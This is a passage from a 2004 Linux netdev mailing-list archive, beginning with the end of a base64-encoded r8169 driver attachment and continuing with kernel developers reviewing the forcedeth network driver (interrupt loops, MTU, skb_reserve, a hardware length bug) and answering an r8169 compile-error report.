eF07DQoJCQkJaWYoIGN1cl9za2IgIT0gTlVMTCApew0KCQkJCQlwcml2LT5S eERlc2NBcnJheVtjdXJfcnhdLmJ1Zl9hZGRyID0gdmlydF90b19idXMoIGN1 cl9za2ItPmRhdGEgKTsNCgkJCQl9DQoJCQkJZWxzZXsNCgkJCQkJREJHX1BS SU5UKCIlczogJXMoKSBjdXJfc2tiID09IE5VTExcbiIsIGRldi0+bmFtZSwg X19GVU5DVElPTl9fKTsNCgkJCQl9DQoNCgkJCX0vLy0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQ0KDQoJICAgIH0vLyBlbmQgb2YgaWYoIHByaXYtPlJ4RGVzY0FycmF5W2N1 cl9yeF0uc3RhdHVzICYgUnhSRVMgKQ0KDQoJICAgIGN1cl9yeCA9IChjdXJf cnggKzEpICUgTlVNX1JYX0RFU0M7DQoNCgl9Ly8gZW5kIG9mIHdoaWxlICgg KHByaXYtPlJ4RGVzY0FycmF5W2N1cl9yeF0uc3RhdHVzICYgMHg4MDAwMDAw MCk9PSAwKQ0KDQoNCglpZiggcnhkZXNjX2NudCA9PSAyMCApew0KCQlwcmlu dGsoInJ4ZGVzY19jbnQgPT0gMjAgLS0tLS0tLS0tLVxuIik7DQoJfQ0KDQoN Cglwcml2LT5jdXJfcnggPSBjdXJfcng7DQp9DQoNCg0KDQoNCg0KDQoNCg0K Ly89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT0NCi8qIFRoZSBpbnRlcnJ1cHQgaGFuZGxlciBkb2Vz IGFsbCBvZiB0aGUgUnggdGhyZWFkIHdvcmsgYW5kIGNsZWFucyB1cCBhZnRl ciB0aGUgVHggdGhyZWFkLiAqLw0Kc3RhdGljIHZvaWQgcnRsODE2OV9pbnRl cnJ1cHQgKGludCBpcnEsIHZvaWQgKmRldl9pbnN0YW5jZSwgc3RydWN0IHB0 X3JlZ3MgKnJlZ3MpDQp7DQoJc3RydWN0IG5ldF9kZXZpY2UgKmRldiA9IChz dHJ1Y3QgbmV0X2RldmljZSAqKSBkZXZfaW5zdGFuY2U7DQoJc3RydWN0IHJ0 bDgxNjlfcHJpdmF0ZSAqcHJpdiA9IGRldi0+cHJpdjsNCglpbnQgYm9ndXNj bnQgPSBtYXhfaW50ZXJydXB0X3dvcms7DQoJdm9pZCAqaW9hZGRyID0gcHJp di0+bW1pb19hZGRyOw0KCWludCBzdGF0dXMgPSAwOw0KDQoJZG8gew0KCQlz dGF0dXMgPSBSVExfUjE2KEludHJTdGF0dXMpOw0KDQoJCS8qIGgvdyBubyBs b25nZXIgcHJlc2VudCAoaG90cGx1Zz8pIG9yIG1ham9yIGVycm9yLCBiYWls ICovDQoJCWlmIChzdGF0dXMgPT0gMHhGRkZGKQ0KCQkJYnJlYWs7DQoNCi8q DQoJCWlmIChzdGF0dXMgJiBMaW5rQ2hnKQ0KCQkJbGlua19jaGFuZ2VkID0g UlRMX1IxNiAoQ1NDUikgJiBDU0NSX0xpbmtDaGFuZ2VCaXQ7DQoqLw0KDQoJ CVJUTF9XMTYoIEludHJTdGF0dXMsIHN0YXR1cyApOw0KDQoNCgkJaWYgKCAo c3RhdHVzICYgcnRsODE2OV9pbnRyX21hc2sgKSA9PSAwICkNCgkJCWJyZWFr Ow0KDQoNCgkJLy8gUnggaW50ZXJydXB0DQovLwkJaWYgKHN0YXR1cyAmIChS eE9LIHwgTGlua0NoZyB8IFJ4T3ZlcmZsb3cgfCBSeEZJRk9PdmVyKSl7DQoJ CQlydGw4MTY5X3J4X2ludGVycnVwdCAoZGV2LCBwcml2LCBpb2FkZHIpOw0K Ly8JCX0NCg0KCQkvLyBUeCBpbnRlcnJ1cHQNCi8vCQlpZiAoc3RhdHVzICYg KFR4T0sgfCBUeEVycikpIHsNCgkJCXNwaW5fbG9jayAoJnByaXYtPmxvY2sp Ow0KCQkJcnRsODE2OV90eF9pbnRlcnJ1cHQgKGRldiwgcHJpdiwgaW9hZGRy KTsNCgkJCXNwaW5fdW5sb2NrICgmcHJpdi0+bG9jayk7DQovLwkJfQ0KDQoJ CWJvZ3VzY250LS07DQoJfSB3aGlsZSAoYm9ndXNjbnQgPiAwKTsNCg0KCWlm IChib2d1c2NudCA8PSAwKSB7DQoJCXByaW50ayAoS0VSTl9XQVJOSU5HICIl czogVG9vIG11Y2ggd29yayBhdCBpbnRlcnJ1cHQhXG4iLCBkZXYtPm5hbWUp Ow0KCQkvKiBDbGVhciBhbGwgaW50ZXJydXB0IHNvdXJjZXMuICovDQoJCVJU TF9XMTYoIEludHJTdGF0dXMsIDB4ZmZmZik7DQoJfQ0KfQ0KDQoNCg0KDQoN Cg0KDQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PQ0Kc3RhdGljIGludCBydGw4MTY5X2Nsb3Nl IChzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQ0Kew0KCXN0cnVjdCBydGw4MTY5 X3ByaXZhdGUgKnByaXYgPSBkZXYtPnByaXY7DQoJdm9pZCAqaW9hZGRyID0g cHJpdi0+bW1pb19hZGRyOw0KCWludCBpOw0KDQoJLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vDQoJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoJaWYoIChwcml2 LT5tYWNfdmVyc2lvbiA+IFJUTF9HSUdBX01BQ19WRVJfQikgJiYgKHByaXYt PnBoeV92ZXJzaW9uIDwgUlRMX0dJR0FfUEhZX1ZFUl9HKSApew0KCQlEQkdf UFJJTlQoIkZJWCBQQ1MgLT4gcnRsODE2OV9kZWxldGVfdGltZXJcbiIpOw0K CQlydGw4MTY5X2RlbGV0ZV90aW1lciggJihwcml2LT5waHlfdGltZXJfdCkg KTsgLy9pbiBjbG9zZSgpDQoJCXByaXYtPnBoeV9saW5rX2Rvd25fY250ID0g MDsNCgl9DQoNCgluZXRpZl9zdG9wX3F1ZXVlIChkZXYpOw0KDQoJc3Bpbl9s b2NrX2lycSAoJnByaXYtPmxvY2spOw0KDQoJLyogU3RvcCB0aGUgY2hpcCdz IFR4IGFuZCBSeCBETUEgcHJvY2Vzc2VzLiAqLw0KCVJUTF9XOCAoIENoaXBD bWQsIDB4MDApOw0KDQoJLyogRGlzYWJsZSBpbnRlcnJ1cHRzIGJ5IGNsZWFy aW5nIHRoZSBpbnRlcnJ1cHQgbWFzay4gKi8NCglSVExfVzE2ICggSW50ck1h c2ssIDB4MDAwMCk7DQoNCgkvKiBVcGRhdGUgdGhlIGVycm9yIGNvdW50cy4g Ki8NCglwcml2LT5zdGF0cy5yeF9taXNzZWRfZXJyb3JzICs9IFJUTF9SMzIo UnhNaXNzZWQpOw0KCVJUTF9XMzIoIFJ4TWlzc2VkLCAwKTsNCg0KCXNwaW5f dW5sb2NrX2lycSAoJnByaXYtPmxvY2spOw0KDQoJc3luY2hyb25pemVfaXJx ICgpOw0KCWZyZWVfaXJxIChkZXYtPmlycSwgZGV2KTsNCg0KCXJ0bDgxNjlf dHhfY2xlYXIgKHByaXYpOw0KCWtmcmVlKHByaXYtPlR4RGVzY0FycmF5cyk7 DQoJa2ZyZWUocHJpdi0+UnhEZXNjQXJyYXlzKTsNCglwcml2LT5UeERlc2NB cnJheXMgPSBOVUxMOw0KCXByaXYtPlJ4RGVzY0FycmF5cyA9IE5VTEw7DQoJ cHJpdi0+VHhEZXNjQXJyYXkgPSBOVUxMOw0KCXByaXYtPlJ4RGVzY0FycmF5 ID0gTlVMTDsNCg0KCXsvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tDQoJCWZvcihpPTA7aTxOVU1fUlhfREVTQztpKyspew0KCQkJaWYoIHBy aXYtPlJ4X3NrYnVmZltpXSAhPSBOVUxMICkgew0KCQkJCVJUTDgxNjlfRlJF RV9SWFNLQiAoIHByaXYtPlJ4X3NrYnVmZltpXSApOw0KCQkJfQ0KCQl9DQoJ fS8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KCURCR19Q UklOVCgiJXM6ICVzKCkgYWxsb2Nfcnhza2JfY250ID0gJWRcbiIsIGRldi0+ bmFtZSwgX19GVU5DVElPTl9fLCBhbGxvY19yeHNrYl9jbnQgKTsNCg0KCXJl dHVybiAwOw0KfQ0KDQoNCg0KDQoNCg0KDQovLz09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3Rh dGljIHVuc2lnbmVkIGNvbnN0IGV0aGVybmV0X3BvbHlub21pYWwgPSAweDA0 YzExZGI3VTsNCnN0YXRpYyBpbmxpbmUgdTMyIGV0aGVyX2NyYyAoaW50IGxl bmd0aCwgdW5zaWduZWQgY2hhciAqZGF0YSkNCnsNCglpbnQgY3JjID0gLTE7 DQoNCg0KCXdoaWxlICgtLWxlbmd0aCA+PSAwKSB7DQoJCXVuc2lnbmVkIGNo YXIgY3VycmVudF9vY3RldCA9ICpkYXRhKys7DQoJCWludCBiaXQ7DQoJCWZv ciAoYml0ID0gMDsgYml0IDwgODsgYml0KyssIGN1cnJlbnRfb2N0ZXQgPj49 IDEpDQoJCQljcmMgPSAoY3JjIDw8IDEpIF4gKChjcmMgPCAwKSBeIChjdXJy ZW50X29jdGV0ICYgMSkgPyBldGhlcm5ldF9wb2x5bm9taWFsIDogMCk7DQoJ fQ0KDQoJcmV0dXJuIGNyYzsNCn0NCg0KDQoNCg0KDQoNCg0KDQovLz09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PQ0Kc3RhdGljIHZvaWQgcnRsODE2OV9zZXRfcnhfbW9kZSAoc3Ry dWN0IG5ldF9kZXZpY2UgKmRldikNCnsNCglzdHJ1Y3QgcnRsODE2OV9wcml2 YXRlICpwcml2ID0gZGV2LT5wcml2Ow0KCXZvaWQgKmlvYWRkciA9IHByaXYt Pm1taW9fYWRkcjsNCgl1bnNpZ25lZCBsb25nIGZsYWdzOw0KCXUzMiBtY19m aWx0ZXJbMl07CS8qIE11bHRpY2FzdCBoYXNoIGZpbHRlciAqLw0KCWludCBp LCByeF9tb2RlOw0KCXUzMiB0bXA9MDsNCgkNCg0KCWlmIChkZXYtPmZsYWdz ICYgSUZGX1BST01JU0MpIHsNCgkJLyogVW5jb25kaXRpb25hbGx5IGxvZyBu ZXQgdGFwcy4gKi8NCgkJcHJpbnRrIChLRVJOX05PVElDRSAiJXM6IFByb21p c2N1b3VzIG1vZGUgZW5hYmxlZC5cbiIsIGRldi0+bmFtZSk7DQoJCXJ4X21v ZGUgPSBBY2NlcHRCcm9hZGNhc3QgfCBBY2NlcHRNdWx0aWNhc3QgfCBBY2Nl cHRNeVBoeXMgfCBBY2NlcHRBbGxQaHlzOw0KCQltY19maWx0ZXJbMV0gPSBt Y19maWx0ZXJbMF0gPSAweGZmZmZmZmZmOw0KCX0gZWxzZSBpZiAoKGRldi0+ bWNfY291bnQgPiBtdWx0aWNhc3RfZmlsdGVyX2xpbWl0KSB8fCAoZGV2LT5m bGFncyAmIElGRl9BTExNVUxUSSkpIHsNCgkJLyogVG9vIG1hbnkgdG8gZmls dGVyIHBlcmZlY3RseSAtLSBhY2NlcHQgYWxsIG11bHRpY2FzdHMuICovDQoJ CXJ4X21vZGUgPSBBY2NlcHRCcm9hZGNhc3QgfCBBY2NlcHRNdWx0aWNhc3Qg fCBBY2NlcHRNeVBoeXM7DQoJCW1jX2ZpbHRlclsxXSA9IG1jX2ZpbHRlclsw XSA9IDB4ZmZmZmZmZmY7DQoJfSBlbHNlIHsNCgkJc3RydWN0IGRldl9tY19s aXN0ICptY2xpc3Q7DQoJCXJ4X21vZGUgPSBBY2NlcHRCcm9hZGNhc3QgfCBB Y2NlcHRNdWx0aWNhc3QgfCBBY2NlcHRNeVBoeXM7DQoJCW1jX2ZpbHRlclsx XSA9IG1jX2ZpbHRlclswXSA9IDA7DQoJCWZvciAoaSA9IDAsIG1jbGlzdCA9 IGRldi0+bWNfbGlzdDsgbWNsaXN0ICYmIGkgPCBkZXYtPm1jX2NvdW50OyBp KyssIG1jbGlzdCA9IG1jbGlzdC0+bmV4dCkNCgkJCXNldF9iaXQgKGV0aGVy X2NyYyAoRVRIX0FMRU4sIG1jbGlzdC0+ZG1pX2FkZHIpID4+IDI2LCBtY19m aWx0ZXIpOw0KCX0NCg0KCXNwaW5fbG9ja19pcnFzYXZlICgmcHJpdi0+bG9j aywgZmxhZ3MpOw0KDQoJdG1wID0gcnRsODE2OV9yeF9jb25maWcgfCByeF9t b2RlIHwgKFJUTF9SMzIoUnhDb25maWcpICYgcnRsX2NoaXBfaW5mb1twcml2 LT5jaGlwc2V0XS5SeENvbmZpZ01hc2spOw0KCQ0KCVJUTF9XMzIgKCBSeENv bmZpZywgdG1wKTsNCglSVExfVzMyICggTUFSMCArIDAsIG1jX2ZpbHRlclsw XSk7DQoJUlRMX1czMiAoIE1BUjAgKyA0LCBtY19maWx0ZXJbMV0pOw0KDQoJ c3Bpbl91bmxvY2tfaXJxcmVzdG9yZSAoJnByaXYtPmxvY2ssIGZsYWdzKTsN Cg0KfS8vZW5kIG9mIHJ0bDgxNjlfc2V0X3J4X21vZGUgKHN0cnVjdCBuZXRf ZGV2aWNlICpkZXYpDQoNCg0KDQoNCg0KDQoNCi8vPT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0NCnN0cnVjdCBuZXRfZGV2aWNlX3N0YXRz ICpydGw4MTY5X2dldF9zdGF0cyhzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQ0K DQp7DQoJc3RydWN0IHJ0bDgxNjlfcHJpdmF0ZSAqcHJpdiA9IGRldi0+cHJp djsNCg0KICAgIHJldHVybiAmcHJpdi0+c3RhdHM7DQp9DQoNCg0KDQoNCg0K DQoNCg0KLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0K c3RhdGljIHN0cnVjdCBwY2lfZHJpdmVyIHJ0bDgxNjlfcGNpX2RyaXZlciA9 IHsNCgluYW1lOgkJTU9EVUxFTkFNRSwNCglpZF90YWJsZToJcnRsODE2OV9w Y2lfdGJsLA0KCXByb2JlOgkJcnRsODE2OV9pbml0X29uZSwNCglyZW1vdmU6 CQlydGw4MTY5X3JlbW92ZV9vbmUsDQoJc3VzcGVuZDoJTlVMTCwNCglyZXN1 bWU6CQlOVUxMLA0KfTsNCg0KDQoNCg0KDQovLz09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3Rh dGljIGludCBfX2luaXQgcnRsODE2OV9pbml0X21vZHVsZSAodm9pZCkNCnsN CglyZXR1cm4gcGNpX21vZHVsZV9pbml0ICgmcnRsODE2OV9wY2lfZHJpdmVy KTsJLy8gcGNpX3JlZ2lzdGVyX2RyaXZlciAoZHJ2KQ0KfQ0KDQoNCg0KDQov Lz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PQ0Kc3RhdGljIHZvaWQgX19leGl0IHJ0bDgxNjlfY2xl YW51cF9tb2R1bGUgKHZvaWQpDQp7DQoJcGNpX3VucmVnaXN0ZXJfZHJpdmVy ICgmcnRsODE2OV9wY2lfZHJpdmVyKTsNCn0NCg0KDQoNCg0KLy89PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0NCm1vZHVsZV9pbml0KHJ0bDgxNjlfaW5pdF9tb2R1bGUpOw0KbW9k dWxlX2V4aXQocnRsODE2OV9jbGVhbnVwX21vZHVsZSk7DQo= --8323328-953846766-1074980501=:19956-- From c-d.hailfinger.kernel.2004@gmx.net Sat Jan 24 13:55:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 13:55:55 -0800 (PST) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OLtg7J010218 for ; Sat, 24 Jan 2004 13:55:42 -0800 Received: (qmail 31427 invoked by uid 65534); 24 Jan 2004 21:55:36 -0000 Received: from stud212116.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.116) by mail.gmx.net (mp011) with SMTP; 24 Jan 2004 22:55:36 +0100 X-Authenticated: #21910825 Message-ID: <4012E9BF.90102@gmx.net> Date: Sat, 24 Jan 2004 22:55:11 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Jeff Garzik CC: Manfred Spraul , linux-kernel@vger.kernel.org, Netdev Subject: Re: [PATCH] [2.4] forcedeth network driver References: <4012BF44.9@colorfullife.com> <4012D3C6.1050805@pobox.com> In-Reply-To: <4012D3C6.1050805@pobox.com> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2742 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Jeff Garzik wrote: > Manfred Spraul wrote: > >> Jeff wrote: >> >>> * Interrupt handler is SCARY. You can potentially take and release >>> the spinlock -many times- during a single interrupt. >>> >> I think that can happen only in theory: A new packet is completed >> while the driver processes rx packets. I all normal cases there should >> be one spinlock operation per tx irq, and 0 per rx irq. >> And error handling IMHO doesn't count: it should be rare. >> Or do I overlook a common case? > > > Any amount of load at all will lead to multiple interations of the > master loop in the interrupt handler. +static int max_interrupt_work = 5; [...] + for (i=0; ; i++) { + if (i > max_interrupt_work) { + spin_lock(&np->lock); + /* disable interrupts on the nic */ + writel(0, base + NvRegIrqMask); + pci_push(base); + + if (!np->in_shutdown) + mod_timer(&np->nic_poll, jiffies + POLL_WAIT); + printk(KERN_DEBUG "%s: too many iterations (%d) in nic_irq.\n", dev->name, i); + spin_unlock(&np->lock); + break; + } So actually it should not happen that often since we exit the master loop after 5 iterations. >>>> +#define NV_MIIPHY_DELAY 10 >>>> +#define NV_MIIPHY_DELAYMAX 10000 >>> >>> >>> >>> Style: it's fairly silly to mix enums and constants. >>> >>> >> Right now: enum for the nic registers, #define for the rest. If you >> don't like it I can change it. > > > enums are definitely preferred... communicates more type/symbol > information to the compiler and more symbol info to the debugger. The current order has the benefit that the values which might be written to a register (most of which are constants) are located next to the enum for the register. Anyways, I have no strong opinion about it. >>>> +/* General driver defaults */ >>>> +#define NV_WATCHDOG_TIMEO (2*HZ) >>> >>> >>> >>> this seems too short, and might trigger on normal events? >>> >>> >> I think I copied it from another driver - which value would you >> recommend? > > > 5 seconds is the norm, but it also depends on whether your link > interrupt is 100% reliable. If you don't have to synchronize the link > watchdog timeout with other driver-private timers, the task is easier. Hardware availability problem. We always have to assume something works until some user/tester complains. >>> skb_reserve() seems to be missing >>> >>> >> Do you have specs that show that all nForce versions support unaligned >> buffers? skb_reserve is a performance feature, I don't want to add it >> yet. Testing that it works is on our TODO list. > > > hmmmm, is nForce ever found on non-x86 boxes? I would think that > skb_reserve might be -required- for some platforms. Since nForce is an Athlon/Athlon64 chipset, I assume it is not found on any non-x86/x86-64 boxes. That might change, however, if NVidia licenses their nic core to other vendors. So far, they have not given any evidence supporting that. I have seen some hints that earlier nForce versions do NOT support unaligned buffers. >>>> +/* >>>> + * change_mtu: dev->change_mtu function >>>> + * Called with dev_base_lock held for read. >>>> + */ >>>> +static int change_mtu(struct net_device *dev, int new_mtu) >>>> +{ >>>> + if (new_mtu > DEFAULT_MTU) >>>> + return -EINVAL; >>>> + dev->mtu = new_mtu; >>>> + return 0; >>>> +} >>> >>> >>> >>> bug #1: have you tested changing the MTU while the NIC is actually >>> running? >>> >> What should the nic do? I'll continue to allocate 1.8 kB buffers >> because I don't know how to reconfigure the nic hardware to reject >> large packets. I think the spec says something about it, but I'd have to get my hands on the hardware to test if it actually works. > Fair enough. You may wish to (after testing!) increase DEFAULT_MTU by 4 > bytes, to support VLAN. Already tried. If we increase the length of the packet the nic has to send beyond 1500 bytes, we simply get an TX error/timeout. So far, I have not seen any hints that the nic might do VLAN tagging internally. Jeff, there is another bug in some hardware revisions: For every received packet it reports 1500 bytes length regardless of the real length. We take this len as correct and hope for the best. At best, it ruins our RX statistics. At worst, it might leak kernel memory to userspace since the unused remainder of the 1500 bytes is not initialized with anything, yet passed up with netif_rx(skb). Does the networking core provide any built-in function to address this problem? + prd = &np->rx_ring[i]; [...] + len = le16_to_cpu(prd->Length); [...] + skb_put(skb, len); [...] + netif_rx(skb); The above code would be correct if the hardware actually gave us the right values. I know that at least some nForce2 systems suffer from this. Carl-Daniel From romieu@fr.zoreil.com Sat Jan 24 14:12:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 14:12:22 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OMC37J010900 for ; Sat, 24 Jan 2004 14:12:08 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0OM9Fgf004042; Sat, 24 Jan 2004 23:09:15 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0OM9FsJ004041; Sat, 24 Jan 2004 23:09:15 +0100 Date: Sat, 24 Jan 2004 23:09:14 +0100 From: Francois Romieu To: Christoph Lameter Cc: netdev@oss.sgi.com Subject: Re: Compile Error with r8169.c Message-ID: <20040124230914.C2069@electric-eye.fr.zoreil.com> References: <20040124214009.A2069@electric-eye.fr.zoreil.com> <20040124222128.B2069@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from christoph@lameter.com on Sat, Jan 24, 2004 at 01:41:41PM -0800 X-Organisation: Land of Sunshine Inc. X-archive-position: 2743 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Christoph Lameter : [...] > Ok. so this is the issue. The result of my patching is attached. I > followed the instructions from the README.txt. /me checks... The README.txt looks like my "series" file: [...] 14:a:r8169-tx-index-overflow 15:a:r8169-dma-api-tx 16:a:r8169-dma-api-rx-buffers 17:a:r8169-dma-api-tx-buffers 18:a:r8169-rx_copybreak 19:a:r8169-mac-phy-version 20:a:r8169-init_one 21:a:r8169-timer 22:a:r8169-hw_start 23:a:r8169-intr_mask 24:a:r8169-suspend 25:a:r8169-endianness 26:a:r8169-getstats 27:a:r8169-addr-high 28:a:r8169-ethtool-introduction 29:a:r8169-missing-static (I will look your file tomorrow -> going offline for today) > Could you just make the patched file available or a combined diff? I could > have made a mistake by patching it but re-doing all the steps does not > give me any hint what I did wrong. http://www.fr.zoreil.com/people/francois/misc/r8169.c-intr-mask http://www.fr.zoreil.com/people/francois/misc/r8169.c-missing-static -- Ueimor From c-d.hailfinger.kernel.2004@gmx.net Sat Jan 24 14:33:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 14:34:13 -0800 (PST) Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OMXv7J011575 for ; Sat, 24 Jan 2004 14:33:58 -0800 Received: (qmail 5262 invoked by uid 65534); 24 Jan 2004 22:33:51 -0000 Received: from stud212116.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.116) by mail.gmx.net (mp011) with SMTP; 24 Jan 2004 23:33:51 +0100 X-Authenticated: #21910825 Message-ID: <4012F2B7.3080800@gmx.net> Date: Sat, 24 Jan 2004 23:33:27 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Vojtech Pavlik CC: Jeff Garzik , Manfred Spraul , linux-kernel@vger.kernel.org, Netdev Subject: Re: [PATCH] [2.4] forcedeth network driver References: <4012BF44.9@colorfullife.com> <4012D3C6.1050805@pobox.com> <20040124220545.GA3246@ucw.cz> In-Reply-To: <20040124220545.GA3246@ucw.cz> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2744 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Vojtech Pavlik wrote: > On Sat, Jan 24, 2004 at 03:21:26PM -0500, Jeff Garzik wrote: > >>>>>+static int alloc_rx(struct net_device *dev) >>>>>+{ >>> >>>[snip] >>> >>>>>+ return 0; >>>>>+} >>>> >>>>skb_reserve() seems to be missing >>>> >>> >>>Do you have specs that show that all nForce versions support unaligned >>>buffers? skb_reserve is a performance feature, I don't want to add it >>>yet. Testing that it works is on our TODO list. >> >>hmmmm, is nForce ever found on non-x86 boxes? I would think that >>skb_reserve might be -required- for some platforms. > > > AMD64 and PPC64 as far as I know. But you may consider the first one > still a x86 box. Hmmm. I thought only GeForce graphics were available on PPC64 and nForce mainboard chipsets (including the onboard nic) were not. Carl-Daniel -- http://www.hailfinger.org/ From vojtech@suse.cz Sat Jan 24 14:46:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 14:46:35 -0800 (PST) Received: from midnight.ucw.cz (twilight.ucw.cz [81.30.235.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OMk17J012148 for ; Sat, 24 Jan 2004 14:46:02 -0800 Received: by midnight.ucw.cz (Postfix, from userid 502) id 2B95674E66; Sat, 24 Jan 2004 23:05:45 +0100 (CET) Date: Sat, 24 Jan 2004 23:05:45 +0100 From: Vojtech Pavlik To: Jeff Garzik Cc: Manfred Spraul , Carl-Daniel Hailfinger , linux-kernel@vger.kernel.org, Netdev Subject: Re: [PATCH] [2.4] forcedeth network driver Message-ID: <20040124220545.GA3246@ucw.cz> References: <4012BF44.9@colorfullife.com> <4012D3C6.1050805@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4012D3C6.1050805@pobox.com> User-Agent: Mutt/1.4.1i X-archive-position: 2745 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vojtech@suse.cz Precedence: bulk X-list: netdev On Sat, Jan 24, 2004 at 03:21:26PM -0500, Jeff Garzik wrote: > >>>+static int alloc_rx(struct net_device *dev) > >>>+{ > >[snip] > >>>+ return 0; > >>>+} > >> > >>skb_reserve() seems to be missing > >> > >Do you have specs that show that all nForce versions support unaligned > >buffers? skb_reserve is a performance feature, I don't want to add it > >yet. Testing that it works is on our TODO list. > > hmmmm, is nForce ever found on non-x86 boxes? I would think that > skb_reserve might be -required- for some platforms. AMD64 and PPC64 as far as I know. But you may consider the first one still a x86 box. -- Vojtech Pavlik SuSE Labs, SuSE CR From paulus@ozlabs.org Sat Jan 24 15:15:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 15:16:10 -0800 (PST) Received: from ozlabs.org (ozlabs.org [203.10.76.45]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ONFu7J013233 for ; Sat, 24 Jan 2004 15:15:57 -0800 Received: by ozlabs.org (Postfix, from userid 1003) id D4D9B2BD7B; Sun, 25 Jan 2004 10:15:44 +1100 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16402.64412.577682.141249@cargo.ozlabs.ibm.com> Date: Sun, 25 Jan 2004 10:11:24 +1100 From: Paul Mackerras To: Vojtech Pavlik Cc: Carl-Daniel Hailfinger , Jeff Garzik , Manfred Spraul , 